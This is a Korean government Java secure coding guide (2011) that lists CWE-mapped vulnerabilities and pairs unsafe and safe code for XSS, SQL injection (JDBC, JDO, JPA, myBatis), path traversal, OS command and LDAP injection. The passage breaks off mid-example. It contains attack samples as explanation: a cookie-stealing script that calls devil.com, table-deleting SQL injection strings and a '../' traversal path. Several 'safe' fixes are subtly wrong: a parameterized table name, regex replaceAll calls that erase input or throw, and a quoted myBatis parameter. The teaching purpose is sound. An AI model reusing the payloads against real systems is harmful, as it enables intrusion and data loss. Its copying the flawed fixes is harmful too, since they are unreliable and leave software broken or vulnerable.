JAVA
시큐어 코딩 가이드

2011. 6.

행정안전부

CONTENTS

CONTENTS

CONTENTS

<표 1> JAVA언어 프로그램 분류별 취약점목록

분류	취약점 명칭	위험도	CWE-ID
입력 데이터 검증 및 표현	크로스 사이트 스크립트 공격 취약점(XSS)	매우높음	CWE-80
	SQL 삽입	매우높음	CWE-89
	SQL 삽입공격: JDO	매우높음	CWE-89
	SQL 삽입공격: Persistence	매우높음	CWE-89
	SQL 삽입 공격:myBatis Data Map	매우높음	CWE-89
	상대 디렉터리 경로 조작	매우높음	CWE-23
	절대 디렉터리 경로 조작	매우높음	CWE-36
	운영체제 명령어 삽입	매우높음	CWE-78
	LDAP 삽입	매우높음	CWE-90
	LDAP 처리	매우높음	CWE-90
	자원 삽입	매우높음	CWE-99
	HTTP 응답 분할	매우높음	CWE-113
	시스템 또는 구성 설정의 외부 제어	높음	CWE-15
	크로스 사이트 스크립트 공격 취약점 : DOM	높음	CWE-80
	동적으로 생성되어 수행되는 명령어 삽입	높음	CWE-95
	프로세스 제어	높음	CWE-114
	정수 오버플로우	높음	CWE-190
	무제한 파일 업로드	높음	CWE-434
	안전하지 않은 리플렉션	높음	CWE-470
	무결성 점검 없는 코드 다운로드	높음	CWE-494
	SQL 삽입 공격:Hibernate	높음	CWE-564
	신뢰되지 않는 URL 주소로의 자동 접속 연결	높음	CWE-601
	XPath 삽입	높음	CWE-643
	XQuery 삽입	높음	CWE-652
	보안결정을 신뢰할 수 없는 입력 값에 의존	높음	CWE-807
API 악용	J2EE: 직접 연결 관리	높음	CWE-245

분류	취약점 명칭	위험도	CWE-ID
	J2EE: 직접 소켓 사용	높음	CWE-246
	보안 결정시 DNS lookup에 의존	높음	CWE-247
	J2EE: System.exit() 사용	높음	CWE-382
	null 매개변수 미검사	높음	CWE-398
	EJB: 소켓 사용	높음	CWE-577
	equals()와 hashCode() 하나만 정의	높음	CWE-581
보안특성	하드코드된 패스워드	매우높음	CWE-259
	부적절한 인가	매우높음	CWE-285
	사이트 간 요청 위조	매우높음	CWE-352
	적절하지 못한 세션 만료	매우높음	CWE-613
	패스워드 관리: 힙메모리 조사	높음	CWE-226
	하드코드된 사용자 계정	높음	CWE-255
	패스워드 평문 저장	높음	CWE-256
	설정파일에 패스워드	높음	CWE-260
	패스워드에 사용된 취약한 암호화	높음	CWE-261
	중요한 함수 사용시 자격인증 미비	높음	CWE-306
	취약한 암호화: 충분하지 못한 키의 길이	높음	CWE-310
	민감한 데이터의 암호화 실패	높음	CWE-311
	기밀 정보의 단순한 텍스트 전송	높음	CWE-319
	하드코드된 암호화키 사용	높음	CWE-321
	취약한 암호화: 적절하지 못한 RSA 패딩	높음	CWE-325
	취약한 암호화 해쉬함수: 하드코드된 솔트	높음	CWE-326
	취약한 암호화 알고리즘의 사용	높음	CWE-327
	적절하지 않은 난수값의 사용	높음	CWE-330
	패스워드 관리: 리다이렉트시 패스워드	높음	CWE-359

분류	취약점 명칭	위험도	CWE-ID
	취약한 패스워드 요구조건	높음	CWE-521
	쿠키보안: 영속적인 쿠키	높음	CWE-539
	같은 포트번호로의 다중 연결	높음	CWE-605
	HTTPS 세션내에 보안속성없는 민감한 쿠키	높음	CWE-614
	주석문 안에 포함된 패스워드	높음	CWE-615
	중요한 자원에 대한 잘못된 권한허용	높음	CWE-732
시간 및 상태	경쟁 조건: 정적 데이터베이스 연결	높음	CWE-362
	경쟁 조건: 싱글톤 멤버 필드	높음	CWE-362
	경쟁 조건: 검사시점과 사용시점	높음	CWE-367
	J2EE 잘못된 습관: 스레드의 직접 사용	높음	CWE-383
	심볼릭명이 정확한 대상에 매핑되어 있지 않음	높음	CWE-386
	중복 검사된 잠금	높음	CWE-609
	제대로 제어되지 않은 재귀	높음	CWE-674
에러 처리	취약한 패스워드 요구조건	매우높음	CWE-521
	오류 메시지 통한 정보 노출	높음	CWE-209
	오류 상황에 대한 처리 부재	높음	CWE-390
	비정상적 혹은 예외적 조건의 부적절한 검사	높음	CWE-754
코드 품질	코드 정확성: notify() 호출	높음	CWE-362
	자원의 부적절한 반환	높음	CWE-404
	널포인터 역참조	높음	CWE-476
	코드 정확성: 부정확한 serialPersistentFields 조정자	높음	CWE-485
	코드 정확성: Thread.run() 호출	높음	CWE-572
	코드 정확성: 동기화된 메소드를 비동기화된 메소드로 재정의	높음	CWE-665
	무한 자원 할당	높음	CWE-770
캡슐화	세션 간에 데이터 누출	높음	CWE-488

분류	취약점 명칭	위험도	CWE-ID
	제거되지 않고 남은 디버거 코드	매우높음	CWE-489
	민감한 데이터를 가진 내부 클래스 사용	높음	CWE-492
	Final 변경자 없는 주요 공용 변수	높음	CWE-493
	공용 메소드로부터 리턴된 private 배열-유형 필드	높음	CWE-495
	private 배열-유형 필드에 공용 데이터 할당	높음	CWE-496
	시스템 데이터 정보 누출	높음	CWE-497
	동적 클래스 로딩 사용	높음	CWE-545

제1장 JAVA 프로그램 보안취약점

제1절 입력 데이터 검증 및 표현

사용자의 입력을 검증없이 그대로 받아들여 사용하면 많은 보안위협에 노출되게 된다. 해당 보안취약점을 예방하기 위해서는 유효한 입력데이터만 허용할 수 있도록 코딩하는 것이 좋으며, 부득이한 경우 입력값을 검증하여 검증된 데이터만 허용하도록 코딩하여 취약점을 제거해야 한다.

1. 크로스 사이트 스크립트 공격 취약점(XSS)

(Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS))

가. 정의

외부에서 입력되는 검증되지 않은 입력이 동적 웹페이지의 생성에 사용될 경우, 전송된 동적 웹페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보 유출 등의 피해를 입힐 수 있다.

나. 안전한 코딩기법

- 외부에서 입력한 문자열을 사용하여 결과 페이지를 생성할 경우, replaceAll() 등과 같은 메소드를 사용하여 위험한 문자열을 제거하여야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - HTML

```
1:  <%@page  contentType="text/html" pageEncoding="UTF-8"%>
2:  <html>
3:  <head>
4:  <meta  http-equiv="Content-Type" content="text/html;  charset=UTF-8">
5:  </head>
6:  <body>
7:      <h1>XSS  Sample</h1>
8:      <%
9:      <!-  외부로 부터 이름을 받음 -->
10:     String name = request.getParameter("name");
11:     %>
12:     <!-- 외부로 부터 받은 name이 그대로 출력 -->
13:     <p>NAME:<%=name%></p>
14:  </body>
15:  </html>
```

위 예제는 외부 입력을 name 값으로, 특별한 처리과정 없이 결과 페이지 생성에 사용하고 있다. 만약 악의적인 공격자가 name 값에 다음 아래의 스크립트를 넣으면, 희생자의 권한

으로 attack.jsp 코드가 수행되게 되며, 수행하게 되면 희생자의 쿠키정보 유출 등의 피해를 주게 된다.
(예 : <script>url = "http://devil.com/attack.jsp;</script>)

■ 안전한 코드의 예 - HTML

```
1:  <%@page  contentType="text/html" pageEncoding="UTF-8"%>
2:  <html>
3:  <head>
4:  <meta  http-equiv="Content-Type" content="text/html;  charset=UTF-8">
5:  </head>
6:  <body>
7:      <h1>XSS  Sample</h1>
8:      <%
9:      <!-- 외부로 부터 이름을 받음 -->
10:     String name = request.getParameter("name");
11:
12:     <!-- 외부의 입력값에 대한 검증을 한다. -->
13:     if ( name != null ) {
14:             name = name.replaceAll("<","&lt;");
15:             name = name.replaceAll(">","&gt;");
16:     } else {
17:             return;
18:     }
19:     %>
20:     <!-- 외부로 부터 받은 name에서 '위험 문자'를 제거한 후 출력 -->
21:     <p>NAME:<%=name%></p>
22:  </body>
23:  </html>
```

위의 예제와 같이 외부 입력 문자열에서 replaceAll() 메소드를 사용하여 "<"와 ">"같이 HTML에서 스크립트 생성에 사용되는 모든 문자열을 "<"와 ">"로 변경함으로써 악의적인 스크립트 수행의 위험성을 줄일 수 있다. 그러나 이러한 방법이 위험성을 완전히 제거했음을 의미하지는 않는다.

라. 참고 문헌

[1] CWE-80 크로스 사이트 스크립트 공격 취약점(XSS) - http://cwe.mitre.org/data/definitions/80.html
[2] OWASP Top 10 2010 - (OWASP 2010) A2 Cross-Site Scripting(XSS)
[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 1 CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

2. SQL 삽입(SQL Injection)

가. 정의

공격자가 외부 입력을 통해서 SQL 명령어를 수행할 수 있다. 즉 외부 입력한 데이터에 대한 유효성을 점검하지 않아 쿼리 로직이 변경 되어 공격자의 의도대로 타인의 정보 유출 또는 DB의 변경이 발생할 수 있다.

나. 안전한 코딩기법

- preparedStatement 클래스와 하위 메소드 executeQuery(), execute(), executeUpdate()를 사용하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  PreparedStatement stmt = null;
3:
4:  try {
5:      ……
6:      // 외부 환경에서 테이블명(tablename)과 사용자명(name)을 입력받는다.
7:      String tableName = props.getProperty("jdbc.tableName");
8:      String name = props.getProperty("jdbc.name");
9:      String query = "SELECT * FROM " + tableName + " WHERE Name =" + name;
10:
11:     // 사용자가 입력한 데이터가 SQL문에 그대로 반영된다.
12:     // 사용자가 타인의 정보를 보기 위한 SQL을 사용자명(name)에 입력할 수 있다.
13:     stmt = con.prepareStatement(query);
14:     rs = stmt.executeQuery();
15:     ResultSetMetaData rsmd = rs.getMetaData();
16:     ……
17:     while (rs.next()) {     ……     }
18:     dos.writeBytes(printStr);
19: } catch (SQLException sqle) {     ……     }
20: finally {     ……     }
21: ……
```

위 예제는 외부 입력으로부터 tableName과 name을 받아서 SQL 질의문을 생성하고 있다. 만약 name의 값으로 "name' OR 'a'='a"과 같은 문자열이 전달되면, 다음과 같은 쿼리가 생성되어 테이블 내의 모든 사용자 정보를 얻을 수 있다.

(SELECT * FROM userTable WHERE Name ='name' OR 'a'='a')

또한 name 값으로 ["name'; DELETE FROM userTable; --"]를 주게 되면 다음과 같은 쿼리가 생성되어 테이블을 모두 삭제할 수 있다.

(SELECT * FROM userTable WHERE Name ='name'; DELETE FROM userTable; --')

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  PreparedStatement stmt = null;
3:
4:  try {
5:      ……
6:      String tableName = props.getProperty("jdbc.tableName");
7:      String name = props.getProperty("jdbc.name");
8:
9:      // 동적 질의문으로 생성되지 않도록 PreparedStatement를 사용한다.
10:     String query = "SELECT  * FROM  ? WHERE Name = ? ";
11:     stmt = con.prepareStatement(query);
12:     // 사용자가 입력한 데이터를 setXXX()함수로 셋팅한다.
13:     stmt.setString(1, tableName);
14:     stmt.setString(2, name);
15:
16:     rs = stmt.executeQuery();
17:     ResultSetMetaData rsmd =  rs.getMetaData();
18:     int columnCount =  rsmd.getColumnCount();
19:     String printStr =  "";
20:     while (rs.next()) {  ……  }
21:     dos.writeBytes(printStr);
22: } catch (SQLException sqle) {  ……  }
23: finally {  ……  }
24: ……
```

위의 예제와 같이 인자를 받는 PreparedStatement 객체를 상수 스트링으로 생성하고, 인자 부분을 setXXX() 메소드로 설정하여, 외부의 입력이 질의문의 구조를 바꾸는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html

[2] OWASP Top 10 2010 - (OWASP 2010) A1 - Injection

[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

3. SQL 삽입공격: JDO(SQL Injection: JDO)

가. 정의

외부의 신뢰할 수 없는 입력을 적절한 검사 과정을 거치지 않고 JDO(Java Data Objects) API의 SQL 또는 JDOQL 질의문 생성을 위한 문자열로 사용하면, 공격자가 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 질의 명령어를 수행할 수 있다.

나. 안전한 코딩기법

- JDO 질의문의 생성시에는 상수 문자열만을 사용하고 Query.execute(...) 실행시에는 인자 값을 전달하는 방법(Parameterize Query)을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public class U9102 implements ContactDAO {
3:      public List<Contact> listContacts() {
4:              PersistenceManager pm = getPersistenceManagerFactory().getPersistenceManager();
5:              String query = "select from " + Contact.class.getName();
6:              try {
7:                      Properties props = new    Properties();
8:                      String fileName =    "contacts.txt";
9:                      FileInputStream in = new    FileInputStream(fileName);
10:                     if( in != null ) {    props.load(in);    }
11:                     in.close();
12:                     // 외부로 부터 입력을 받는다
13:                     String name = props.getProperty("name");
14:                     if( name != null ) {
15:                             query += " where name = '" + name + "'";
16:                     }
17:             } catch (IOException e) {    ……    }
18:
19:             // 와부 입력값이 JDO 객체의 인자로 사용된다.
20:             return (List<Contact>) pm.newQuery(query).execute();
21:     }
22:  ……
```

공격자가 외부의 입력(name) 값을 "name'; DELETE FROM MYTABLE; --" 로 주게 되면, 다음과 같은 질의문이 수행되어 테이블이 삭제된다.

(SELECT col1 FROM MYTABLE WHERE name = 'name' ; DELETE FROM MYTABLE; --')

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public class S9102 implements ContactDAO {
3:      public List<Contact> listContacts() {
4:          PersistenceManager pm =
5:                  getPersistenceManagerFactory().getPersistenceManager();
6:          String query = "select from " + Contact.class.getName();
7:          String name = "";
8:          try {
9:              Properties props = new Properties();
10:             String fileName = "contacts.txt";
11:             FileInputStream in = new FileInputStream(fileName);
12:             props.load(in);
13:             // 외부로 부터 입력을 받는다.
14:             name = props.getProperty("name");
15:             // 입력값을 점검한다.
16:             if (name == null || "".equals(name)) return null;
17:             query += " where name = ?";
18:         } catch (IOException e) {    ……    }
19:
20:         javax.jdo.Query q = pm.newQuery(query);
21:         // Query API의 인자로 사용한다.
22:         return (List<Contact>) q.execute(name);
23:     }
24: ……
```

외부 입력 부분을 ?로 설정하고(Parameterize Query), 실행시에 해당 인자값이 전달되도록 수정함으로써 외부의 입력(name)이 질의문의 구조를 변경시키는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html

[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection

[3] JDO API Documentation

[4] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

4. SQL 삽입공격: Persistence(SQL Injection: Persistence)

가. 정의

J2EE Persistence API를 사용하는 응용프로그램에서 외부의 입력을 아무 검증없이 질의문에 그대로 사용하면, 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 질의 명령어가 수행될 수 있다.

나. 안전한 코딩기법

- 외부의 입력이 질의문의 구조를 변경할 수 없는 인자화된 질의문(Parameterize Query)을 사용한다. 즉, 질의문의 생성시 상수 문자열만을 사용하고 javax.persistence.Query.setParameter() 메소드를 사용하여 인자값을 설정하는 방법을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public class U9103 implements ServletContextListener {
3:      public List<?> getAllItemsInWildcardCollection() {
4:          EntityManager em = getEntityManager();
5:          List<U9103> r_type = null;
6:          try {
7:              Properties props = new    Properties();
8:              String fileName = "conditions.txt";
9:              FileInputStream in = new FileInputStream(fileName);
10:             props.load(in);
11:
12:             // 외부로 부터 입력을 받는다.
13:             String id =    props.getProperty("id");
14:             // 외부 입력 값이 query의 인자로 사용이 된다.
15:             Query query =
16:                 em.createNativeQuery("SELECT  OBJECT(i)  FROM  Item  i  WHERE
    i.itemID > "  + id);
17:             List<U9103> items = query.getResultList();
18:             ……
19:         return r_type;
20:     }
21:  ……
```

공격자가 외부의 입력(id)의 값으로 "foo'; DELETE FROM MYTABLE; --"을 주게 되면, 다음과 같은 질의문이 실행되어 테이블이 삭제된다.

(SELECT col1 FROM MYTABLE WHERE name = 'foo' ; DELETE FROM MYTABLE; --')

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public class S9103    implements ServletContextListener {
3:      public List<?> getAllItemsInWildcardCollection() {
4:              EntityManager em = getEntityManager();
5:              List<S9103> r_type = null;
6:              try {
7:                      Properties props = new    Properties();
8:                      String fileName =    "conditions.txt";
9:                      FileInputStream in = new    FileInputStream(fileName);
10:                     props.load(in);
11:
12:                     // 외부 입력값을 받는다.
13:                     String id = props.getProperty("id");
14:                     // 입력값을 검사한다.
15:                     if (id == null || "".equals(id)) id = "itemid";
16:                     // Query문을 작성한다.
17:                     Query query =
18:                             em.createNativeQuery("SELECT    OBJECT(i)    FROM    Item    i    WHERE
    i.itemID > :id");
19:                     query.setParameter("id", id);
20:                     List<S9103> items =   query.getResultList();
21:                     ……
22:             return r_type;
23:     }
24:  ……
```

위의 예제와 같이 인자를 받는 질의문(query)을 생성하고, 인자값을 설정하여 실행하도록 한다. 이를 통해 외부의 입력이 질의문의 구조를 변경시키는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html

[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection

[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

5. SQL 삽입 공격: mybatis Data Map(SQL Injection: mybatis Data Map)

가. 정의

외부에서 입력된 값이 질의어의 인자값으로만 사용되지 않고, 질의 명령어에 연결되는 문자열로 사용되면, 공격자가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 데이터베이스 명령어를 수행할 수 있다.

나. 안전한 코딩기법

- 외부의 입력으로부터 위험한 문자나 의도하지 않았던 입력을 제거하는 코드를 프로그램 내에 포함시킨다.
- mybatis Data Map 파일의 인자를 받는 질의 명령어 정의시에 문자열 삽입 인자($...$)를 사용하지 않는다. 즉 #<인자이름># 형태의 질의문을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - XML

```
1:  <?xml version="1.0"  encoding="UTF-8"?>
2:  <!DOCTYPE sqlMap PUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN"
    "http://www.ibatis.com/dtd/sql-map-2.dtd">
3:  <sqlMap  namespace="Student">
4:      <resultMap id="StudentResult" class="Student">
5:          <result column="ID" property="id" />
6:          <result column="NAME" property="name" />
7:      </resultMap>
8:      <select id="listStudents" resultMap="StudentResult">
9:          SELECT NUM, NAME
10:         FROM STUDENTS
11:         ORDER BY NUM
12:     </select>
13:     <select id="nameStudent"  parameterClass="Integer" resultClass="Student">
14:         SELECT NUM, NAME
15:         FROM STUDENTS
16:         WHERE NUM = #num#
17:     </select>
18:     <!-- dynamic SQL 사용 -->
19:     <delete id="delStudent"  parameterClass="Student">
20:         DELETE STUDENTS
21:         WHERE NUM = #num# AND Name = '$name$'
22:     </delete>
23: </sqlMap>
```

위의 예제는 mybatis Data Map에서 사용하는 질의문 설정파일(XML)이다. 정의된 질의문 중 delStudent 명령어 선언에서 질의문에 삽입되는 인자들 중 $name$으로 전달되는 문자열 값은 그대로 연결되어 질의문이 만들어진다. 따라서 만약 name의 값으로 '' OR

'x'='x'"을 전달하면 다음과 같은 질의문이 수행되어 테이블의 모든 원소를 삭제하게 된다.
(**DELETE STUDENTS WHERE NUM = #num# and Name = '' OR 'x'='x'**)

■ 안전한 코드의 예 - XML

```
1:  <?xml version="1.0"  encoding="UTF-8"?>
2:  <!DOCTYPE sqlMap PUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN"
    "http://www.ibatis.com/dtd/sql-map-2.dtd">
3:
4:  <sqlMap  namespace="Student">
5:      <resultMap  id="StudentResult" class="Student">
6:          <result column="ID" property="id" />
7:          <result column="NAME" property="name" />
8:      </resultMap>
9:      <select  id="listStudents" resultMap="StudentResult">
10:         SELECT NUM, NAME
11:         FROM STUDENTS
12:         ORDER BY NUM
13:     </select>
14:     <select id="nameStudent" parameterClass="Integer" resultClass="Student">
15:         SELECT NUM, NAME
16:         FROM STUDENTS
17:         WHERE NUM = #num#
18:     </select>
19:
20:     <!-- static SQL 사용 -->
21:     <delete id="delStudent"  parameterClass="Student">
22:         DELETE STUDENTS
23:         WHERE NUM = #num# AND Name = '#name#'
24:     </delete>
25: </sqlMap>
```

Name 인자를 #name# 형태로 받도록 수정한다.

라. 참고 문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection
[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

6. 상대 디렉터리 경로 조작(Relative Path Traversal)

가. 정의

외부의 입력을 통하여 "디렉터리 경로 문자열" 생성이 필요한 경우, 외부 입력에서 경로 조작에 사용될 수 있는 문자를 필터링하지 않으면, 예상 밖의 영역에 대한 경로 문자열이 가능해져 시스템 정보누출, 서비스 장애 등을 유발 시킬 수 있다.

나. 안전한 코딩기법

- 외부의 입력이 직접 파일이름을 생성하는 사용될 수 없도록 한다. 불가피하게 직접 사용하는 경우, 다른 디렉터리의 파일을 접근할 수 없도록 replaceAll() 등의 메소드를 사용하여 위험 문자열(",/,\)을 제거하는 필터를 거치도록 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f(Properties request) {
3:      ……
4:      String name = request.getProperty("filename");
5:      if( name != null ) {
6:          File file = new File("/usr/local/tmp/" + name);
7:          file.delete();
8:      }
9:      ……
10: }
```

외부의 입력(name)이 삭제할 파일의 경로설정에 사용되고 있다. 만일 공격자에 의해 name의 값으로 ../../../rootFile.txt와 같은 값을 전달하면 의도하지 않았던 파일이 삭제되어 시스템에 악영향을 준다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f(Properties request) {
3:      ……
4:      String name = request.getProperty("user");
5:      if ( name != null && !"".equals(name) ) {
6:          name = name.replaceAll("/", "");
7:          name = name.replaceAll("\\", "");
8:          name = name.replaceAll(".", "");
9:          name = name.replaceAll("&", "");
10:         name = name + "-report";
11:         File file = new File("/usr/local/tmp/" + name);
12:         if (file != null) file.delete();
13:     }
14:     ……
15: }
```

외부에서 입력되는 값에 대하여 Null여부를 체크하고, 외부에서 입력되는 파일이름(name)에서 상대경로(/, \\, &, . 등 특수문자)를 설정할 수 없도록 replaceAll를 이용하여 특수문자를 제거한다.

라. 참고 문헌

[1] CWE-23 상대 디렉터리 경로 조작 - http://cwe.mitre.org/data/definitions/23.html

[2] OWASP Top 10 2010 - (OWASP 2010) A4 Insecure Direct Object Reference

[3] SANS Top 25 2010 - (SANS 2010) Risky Resource Management, Rank 7 CWE ID 22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

7. 절대 디렉터리 경로 조작(Absolute Path Traversal)

가. 정의

외부 입력이 파일 시스템을 조작하는 경로를 직접 제어할 수 있거나 영향을 끼치면 위험하다. 사용자 입력이 파일 시스템 작업에 사용되는 경로를 제어하는 것을 허용하면, 공격자가 응용프로그램에 치명적인 시스템 파일 또는 일반 파일을 접근하거나 변경할 가능성이 존재한다. 즉, 경로 조작을 통해서 공격자가 허용되지 않은 권한을 획득하여, 설정에 관계된 파일을 변경할 수 있거나 실행시킬 수 있다.

나. 안전한 코딩기법

- 외부의 입력을 통해 파일이름의 생성 및 접근을 허용하지 말고, 외부 입력에 따라 접근이 허용된 파일의 리스트에서 선택하도록 프로그램을 작성하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f(Properties cfg) throws IOException {
3:      FileInputStream fis = new FileInputStream(cfg.getProperty("subject"));
4:      byte[] arr = new byte[30];
5:      fis.read(arr);
6:      System.out.println(arr);
7:      ……
8:  }
```

외부의 입력(fis)으로 부터 직접 파일을 생성하게 되는 경우, 임의의 파일이름을 입력 받을 수 있도록 되어 있어, 다른 파일에 접근이 가능해져 의도하지 않은 정보가 노출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:   ……
2:   public void f(Properties cfg)   throws IOException {
3:       FileInputStream fis;
4:       String subject = cfg.getProperty("subject");
5:
6:       if (subject.equals("math"))
7:             fis = new FileInputStream("math");
8:       else if (subject.equals("physics"))
9:             fis = new FileInputStream("physics");
10:      else if (subject.equals("chemistry"))
11:            fis = new FileInputStream("chemistry");
12:      else
13:            fis = new FileInputStream("default");
14:
15:      byte[] arr = new byte[30];
16:      fis.read(arr);
17:      System.out.println(arr);
18:   ……
19:   }
```

위의 예제와 같이 접근이 허용된 파일의 리스트에서 외부 입력에 따라 파일을 선택하도록 프로그램을 작성하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-36 절대 디렉터리 경로 조작 - http://cwe.mitre.org/data/definitions/36.html

[2] OWASP Top 10 2010 - (OWASP 2010) A4 Insecure Direct Object Reference

[3] SANS Top 25 2010 - Risky Resource Management, Rank 7 CWE ID 22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

8. 운영체제 명령어 삽입

(Improper Neutralization of Special Elements Used in an OS Command (OS Command Injection))

가. 정의

외부 입력이 시스템 명령어 실행 인수로 적절한 처리 없이 사용되면 위험하다. 외부 입력 문자열은 신뢰할 수 없기 때문에 미리 정당한 인자값의 배열을 만든 후 적절한 인자값을 선택하는 형태로 사용해야 한다. 그렇지 않으면, 공격자가 원하는 명령어를 실행시킬 수 있다.

나. 안전한 코딩기법

- 외부에서 전달되는 값은 바로 시스템 내부 명령어의 생성에 사용되지 않아야 한다. 외부 입력에 따른 명령어 생성 또는 선택이 필요한 경우에는 명령어 생성에 필요한 값들을 미리 지정해 놓고 외부의 입력에 따라 선택하여 사용하는 것이 안전하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() throws IOException {
3:      Properties props = new Properties();
4:      String fileName = "file_list";
5:      FileInputStream in = new FileInputStream(fileName);
6:      props.load(in);
7:      String version = props.getProperty("dir_type");
8:      String cmd = new String("cmd.exe /K    \"rmanDB.bat \"");
9:      Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + version);
10:  ……
11:  }
```

위 예제는 cmd.exe 명령어를 사용하여 rmanDB.bat 배치 명령어를 수행하며, 외부에서 전달되는 dir_type 값이 manDB.bat의 인자값으로서 명령어 스트링의 생성에 사용되고 있다. 만약 외부의 공격자가 의도하지 되지 않은 문자열을 전달할 시, dir_type이 의도했던 인자값이 아닐 경우, 비정상적인 업무를 수행할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() throws IOException {
3:      Properties props = new Properties();
4:      String fileName = "file_list";
5:      FileInputStream in = new    FileInputStream(fileName);
6:      props.load(in);
7:      String version[] = {"1.0",    "1.01", "1.11", "1.4"};
8:      int versionSelection = Integer.parseInt(props.getProperty("version"));
9:      String cmd = new String("cmd.exe /K    \"rmanDB.bat \"");
10:     String vs = "";
11:
12:     // 외부 입력값에 따라 지정된 목록에서 값을 선택한다.
13:     if (versionSelection == 0)
14:             vs = version[0];
15:     else if (versionSelection == 1)
16:             vs = version[1];
17:     else if (versionSelection == 2)
18:             vs = version[2];
19:     else if (versionSelection == 3)
20:             vs = version[3];
21:     else
22:             vs = version[3];
23:     Runtime.getRuntime().exec(cmd + "    c:\\prog_cmd\\" + vs);
24:     ……
25: }
```

위와 같이 미리 정당한 인자값의 배열을 만들어 놓고, 외부의 입력에 따라 적절한 인자값을 선택하도록 하여, 외부의 부적절한 입력이 명령어로 사용될 가능성을 배제하여야 한다.

라. 참고 문헌

[1] CWE-78 운영체제 명령어 삽입 - http://cwe.mitre.org/data/definitions/78.html

[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection

[3] SANS, Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection".

[4] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 9 CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

9. LDAP 삽입(LDAP Injection)

가. 정의

공격자가 외부 입력을 통해서 의도하지 않은 LDAP 명령어를 수행할 수 있다. 즉 웹 애플리케이션이 사용자가 제공한 입력을 올바르게 처리하지 못하면, 공격자가 LDAP 명령문의 구성을 바꿀 수 있으며, 이로 인해 프로세스가 명령을 실행한 컴포넌트와 동일한 Authentication을 가지고 동작하게 된다.

나. 안전한 코딩기법

- 외부의 입력이 LDAP 필터 문자열로 사용될 경우, 가능한 입력의 집합(white list) 또는 위험한 입력 문자열의 집합(black list의 예로는 = + < > # ; \ 등이 있음)을 설정하여, 임의의 외부의 입력이 필터 생성에 사용되지 않도록 관리한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      Hashtable env = new Hashtable();
4:      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
5:      env.put(Context.PROVIDER_URL,    "ldap://localhost:389/o=rootDir");
6:      try {
7:          javax.naming.directory.DirContext    ctx = new InitialDirContext(env);
8:          // 프로퍼티를 만들고 외부 파일을 로드한다.
9:          Properties props = new Properties();
10:         String fileName = "ldap.properties";
11:         FileInputStream in = new FileInputStream(fileName);
12:         props.load(in);
13:         // LDAP Search를 하기 위해 name을 읽는다
14:         String name = props.getProperty("name");
15:         String filter = "(name =" + name + ")";
16:         // LDAP search가 name값에 대한 여과없이 그대로 통과되어 검색이 되어진다.
17:         NamingEnumeration answer =
                        ctx.search("ou=NewHires", filter, new  SearchControls());
18:         printSearchEnumeration(answer);
19:         ctx.close();
20:     } catch (NamingException e) {  …… }
21:  ……
```

위 예제는 외부의 입력(name)이 검색을 위한 필터 문자열의 생성에 사용되고 있다. 이 경우 name 변수의 값으로 "*"을 전달할 경우 필터 문자열은 "(name=*)"가 되어 항상 참이 되며 이는 의도하지 않은 동작일 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      Hashtable env = new Hashtable();
